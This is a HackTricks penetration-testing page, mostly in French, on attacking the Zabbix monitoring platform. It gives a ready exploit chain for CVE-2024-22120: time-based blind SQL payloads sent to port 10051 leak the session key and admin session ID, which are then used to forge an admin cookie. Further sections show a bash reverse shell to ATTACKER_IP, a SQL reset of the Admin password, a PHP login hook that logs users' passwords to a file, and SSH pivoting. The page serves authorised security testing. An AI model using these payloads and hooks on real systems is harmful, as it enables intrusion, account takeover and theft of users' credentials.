Sécurité Zabbix

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Présentation

Zabbix est une plateforme de monitoring exposant une interface web (généralement derrière Apache/Nginx) et un composant serveur qui parle aussi le protocole Zabbix sur TCP/10051 (server/trapper) et un agent sur TCP/10050. Lors d'engagements vous pouvez rencontrer :

  • Interface web : hôte virtuel HTTP(S) comme zabbix.example.tld
  • Zabbix server port : 10051/tcp (JSON over a ZBXD header framing)
  • Zabbix agent port : 10050/tcp

Format de cookie utile : zbx_session est un Base64 d'un objet JSON compact qui inclut au moins sessionid, serverCheckResult, serverCheckTime et sign. Le sign est un HMAC du payload JSON.

Les versions récentes de Zabbix calculent le cookie comme :

  • data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

Si vous pouvez récupérer le session_key global et un sessionid admin valide, vous pouvez forger un cookie Admin valide hors ligne et vous authentifier à l'UI.

CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log

Affected versions (as publicly documented):

  • 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

Résumé de la vulnérabilité :

  • Lorsqu'une exécution de Script est enregistrée dans le audit log du Zabbix Server, le champ clientip n'est pas assaini et est concaténé dans du SQL, permettant une time-based blind SQLi via le composant serveur.
  • Ceci est exploitable en envoyant une requête "command" spécialement conçue au port Zabbix server 10051 avec un sessionid valide à faible privilège, un hostid accessible par l'utilisateur, et un scriptid autorisé.

Conditions préalables et conseils de découverte :

  • sessionid : Depuis guest/login dans l'interface web, décodez zbx_session (Base64) pour obtenir sessionid.
  • hostid : Observez via des requêtes de l'interface web (par ex. Monitoring → Hosts) ou interceptez avec un proxy ; la valeur par défaut courante est 10084.
  • scriptid : Seuls les scripts autorisés pour le rôle courant s'exécuteront ; vérifiez en inspectant le menu des scripts / les réponses AJAX. Des valeurs par défaut comme 1 ou 2 sont souvent autorisées ; 3 peut être refusé.

Flux d'exploitation

  1. Déclencher l'insertion dans l'audit avec SQLi dans clientip
  • Connectez-vous à TCP/10051 et envoyez un message encadré Zabbix avec request="command" incluant sid, hostid, scriptid, et clientip défini sur une expression SQL qui sera concaténée par le serveur et évaluée.

Minimal message (JSON body) fields:

json
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}

Le format complet sur le réseau est : "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. Vous pouvez utiliser pwntools ou votre propre code socket pour l'encapsuler.

  1. Time-bruteforce secrets via conditional sleep

Utilisez des expressions conditionnelles pour leak des secrets encodés en hex, 1 caractère à la fois, en mesurant le temps de réponse. Exemples qui ont fonctionné en pratique :

  • Leak global session_key from config:
sql
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak Admin session_id (userid=1) depuis sessions:
sql
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

Notes:

  • charset: 32 hex chars [0-9a-f]
  • Choisir T_TRUE >> T_FALSE (par ex., 10 vs 1) et mesurer le temps réel (wall-clock) par tentative
  • Assurez-vous que votre scriptid est réellement autorisé pour l'utilisateur ; sinon aucune ligne d'audit n'est produite et le timing ne fonctionnera pas
  1. Forger le cookie Admin

Once you have:

  • session_key: 32-hex from config.session_key
  • admin_sessionid: 32-hex from sessions.sessionid for userid=1

Compute:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.

Outils prêts à l'emploi

  • PoC public : automatise le bruteforce de session_key et admin sessionid, ainsi que le cookie forging ; nécessite pwntools et requests.
  • Les paramètres à fournir incluent généralement : --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, et optionnellement un --admin-sid connu pour éviter le brute.

RCE via Script execution (post-Admin)

Avec un accès Admin dans l'UI, vous pouvez exécuter des Scripts prédéfinis contre des hosts monitorés. Si les agents/hosts exécutent les commandes de script localement, cela permet une exécution de code sur ces systèmes (souvent en tant qu'utilisateur zabbix sur des hôtes Linux) :

  • Vérification rapide : run id pour confirmer le contexte utilisateur
  • Reverse shell example:
bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

Amélioration du TTY (Linux) :

bash
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

Si vous avez accès à la DB, une alternative à la falsification d'un cookie est de réinitialiser le mot de passe Admin avec le bcrypt documenté pour "zabbix" :

sql
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Credential capture via login hook (post-exploitation)

Si l'écriture de fichiers est possible sur le serveur de l'interface web, vous pouvez temporairement ajouter un extrait de journalisation dans /usr/share/zabbix/index.php autour de la branche de connexion basée sur un formulaire afin de capturer les identifiants :

php
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

Les utilisateurs s'authentifient normalement ; lisez /dev/shm/creds.txt ensuite. Supprimez le hook une fois terminé.

Pivot vers les services internes

Même si le shell du compte de service est /usr/sbin/nologin, ajouter une entrée SSH authorized_keys et utiliser -N -L permet le local port-forwarding vers des services accessibles uniquement via loopback (par ex., CI/CD sur le port 8111) :

bash
ssh -i key user@host -N -L 8111:127.0.0.1:8111

Voir plus de schémas de tunneling : Consulter Tunneling and Port Forwarding.

Conseils opérationnels

  • Valider que scriptid est autorisé pour le rôle actuel (guest peut avoir un jeu limité)
  • Les attaques par timing peuvent être lentes ; mettre en cache la sessionid admin récupérée et la réutiliser
  • Le JSON envoyé à 10051 doit être encadré avec l'en-tête ZBXD\x01 et une longueur en little-endian

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks